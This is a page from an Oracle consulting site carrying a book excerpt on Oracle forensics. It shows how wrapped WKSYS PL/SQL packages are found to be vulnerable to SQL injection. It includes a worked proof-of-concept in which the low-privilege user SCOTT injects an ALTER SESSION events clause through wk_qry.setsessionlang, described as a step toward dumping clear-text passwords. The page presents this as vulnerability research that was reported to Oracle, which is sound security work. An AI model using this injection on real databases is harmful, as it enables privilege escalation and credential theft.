Call now: 252-767-6166  
Oracle Training Oracle Support Development Oracle Apps

 
 Home
 E-mail Us
 Oracle Articles
New Oracle Articles


 Oracle Training
 Oracle Tips

 Oracle Forum
 Class Catalog


 Remote DBA
 Oracle Tuning
 Emergency 911
 RAC Support
 Apps Support
 Analysis
 Design
 Implementation
 Oracle Support


 SQL Tuning
 Security

 Oracle UNIX
 Oracle Linux
 Monitoring
 Remote s
upport
 Remote plans
 Remote
services
 Application Server

 Applications
 Oracle Forms
 Oracle Portal
 App Upgrades
 SQL Server
 Oracle Concepts
 Software Support

 Remote S
upport  
 Development  

 Implementation


 Consulting Staff
 Consulting Prices
 Help Wanted!

 


 Oracle Posters
 Oracle Books

 Oracle Scripts
 Ion
 Excel-DB  

Don Burleson Blog 


 

 

 


 

 

 

 

 

Determining Vulnerable Procedures

Oracle Forensics tips by Paul Wright

I found PL/SQL injections in the Oracle RDBMS that were present with the October 2006 CPU on 10.1.0.4.0 and other versions:

These two are DEFINER, "EXECUTE granted to PUBLIC" and owned by WKSYS which has the DBA ROLE by default. Below are examples of how to create the procedure call and the returned error message if the procedure is vulnerable.

SQL> exec wksys.wk_qry.setsessionlang('''');
BEGIN wksys.wk_qry.setsessionlang(''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1

SQL> exec wksys.wk_queryapi.setsessionlang('''');
BEGIN wksys.wk_queryapi.setsessionlang(''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QUERYAPI", line 40
ORA-06512: at line 1

SQL> exec wksys.wk_launchq.add_launch_principal(1,'''');
BEGIN wksys.wk_launchq.add_launch_principal(1,''''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_LAUNCHQ", line 275
ORA-06512: at line 1

The vulnerability of the above packages is shown by the "ORA-01756: quoted string not properly terminated" error

Proving that the vulnerability can be exploited is more difficult as an attacker is not able to see the source code of the package by reading from DBA_SOURCE.

SQL> desc dba_source;

 Name                                      Null?       Type
 ----------------------------------------- -------- ---------------------------
 OWNER                                                 VARCHAR2(30)
 NAME                                                  VARCHAR2(30)
 TYPE                                                  VARCHAR2(12)
 LINE                                                  NUMBER
 TEXT                                                  VARCHAR2(4000)


SQL> select text from dba_source where owner='WKSYS' and name='WK_QUERYAPI';
PACKAGE BODY wk_queryapi wrapped
a000000
1
abcd
abcd
abcd
abcd
abcd
TEXT
--------------------------------------------------------------------------------
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
b
TEXT
--------------------------------------------------------------------------------
42f3 154a
rCfxVeMak5ss7u/4L/uISxq1Twcwg8129iAFYJu8HKqV4bGnGtkWYeszph52qacRWDsUlxQ9tE/
nMSu27nbZjYn2nl3GmkciF/psYzaxavvqRPTbVTEx7oo0B0dWHOSO0NOf97IgMRNP5R5C8ZrUA4mVAsFCl
Y+eOZ3ysOmIrluhKKrDfHVZBmTZBZMl/jRSKu0WyV8tT4bPuJTBsK8KhsiQkIJPEIaqkl0kVXlP+IucmgeUQgn/
TiaTUmZvMHwpqKPfdcHk2mJUQXEGAfdDfK3ZAzVlbsG9/WwBQY5OUpNHljRwG33J/LerXffGyZTIT5w9VgywAf
GGivUivlrAIpxJHc6ZHm1liDyLNniX
???

The source code to the PLSQL Package has been wrapped to hide the internal workings. By quessing what the likely SQL is within the wrapped package it is possible to take educated guesses at potential exploitative code.

Given that the function of the query is to set the NLS_LANG variable for the session we can guess what the SQL will be in the wrapped package. Something like: "ALTER SESSION SET". So we now inject additional ALTER SESSION SET command into the end of the input to this procedure:

--To start the process of exploiting the first setsessionlang:

SQL> exec wksys.wk_qry.setsessionlang('english');
PL/SQL procedure successfully completed.
SQL>  exec wksys.wk_qry.setsessionlang('english''');
BEGIN wksys.wk_qry.setsessionlang('english'''); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "WKSYS.WK_QRY", line 1107
ORA-06512: at line 1

This can be extended to include the "EVENTS" commands which is withheld from normal users due to the security sensitivity of the command.

This is the PoC below.

SQL> show user
USER is "SCOTT"
SQL> alter session set events 'immediate trace name library_cache level 10';
ERROR:
ORA-01031: insufficient privileges

SQL> exec wksys.wk_qry.setsessionlang('AMERICAN'' NLS_TERRITORY=
''FRANCE'' NLS_CURRENCY= ''$'' NLS_ISO_CURRENCY=''AMERICA''
NLS_NUMERIC_CHARACTERS= ''.,'' NLS_CALENDAR= ''GREGORIAN''

NLS_DATE_FORMAT= ''DD-MON-RR'' NLS_DATE_LANGUAGE= ''AMERICAN'' NLS

_SORT= ''BINARY'' current_schema=SYS sql_trace=false
TRACEFILE_IDENTIFIER =''traceid'' events ''immediate trace name
library_cache level 10''--');

PL/SQL procedure successfully completed.

The key line here is

events ''immediate trace name library_cache level 10''

This is a stage in the process of dumping clear text passwords.

So to summarize we are running an ALTER SESSION SET EVENT statement that should only be possible if the user has the ALTER SESSION  _SYSTEM_  privilege which SCOTT does not have. SCOTT can do this because we are injecting into a DBA owned procedure which is DEFINER rights and PUBLIC.

Being able to set this type of event is part of a number of exploits which result in the dumping of clear text passwords, which is why it is restricted. Therefore this vulnerability represents a security issue. Oracle have already been informed and it is due for CPU soon.

http://www.databasesecurity.com/oracle/oracle-security-pf.pdf

http://www.red-database-security.com/advisory/oracle_tde_wallet_password.html

http://www.pentest.co.uk/documents/utl_file.htm

http://www.petefinnigan.com/ramblings/how_to_set_trace.htm

http://www.oracle.com/technology/deploy/security/pdf/securitynote210317.1_altersession.html

http://www.petefinnigan.com/forum/yabb/YaBB.cgi?board=ora_sec;action=display;num
=1173097681

 

This is an excerpt from the book "Oracle Forensics: Oracle Security Best Practices", by Paul M. Wright, the father of Oracle Forensics.

 


 

 
��  
 
 
Oracle Training at Sea
 
 
 
 
oracle dba poster
 

 
Follow us on Twitter 
 
Oracle performance tuning software 
 
Oracle Linux poster
 
 
 

 

Burleson is the American Team

Note: This Oracle documentation was created as a support and Oracle training reference for use by our DBA performance tuning consulting professionals.  Feel free to ask questions on our Oracle forum.

Verify experience! Anyone considering using the services of an Oracle support expert should independently investigate their credentials and experience, and not rely on advertisements and self-proclaimed expertise. All legitimate Oracle experts publish their Oracle qualifications.

Errata?  Oracle technology is changing and we strive to update our BC Oracle support information.  If you find an error or have a suggestion for improving our content, we would appreciate your feedback.  Just  e-mail:  and include the URL for the page.


                    









Burleson Consulting

The Oracle of Database Support

Oracle Performance Tuning

Remote DBA Services


 

Copyright © 1996 -  2016

All rights reserved by Burleson

Oracle ® is the registered trademark of Oracle Corporation.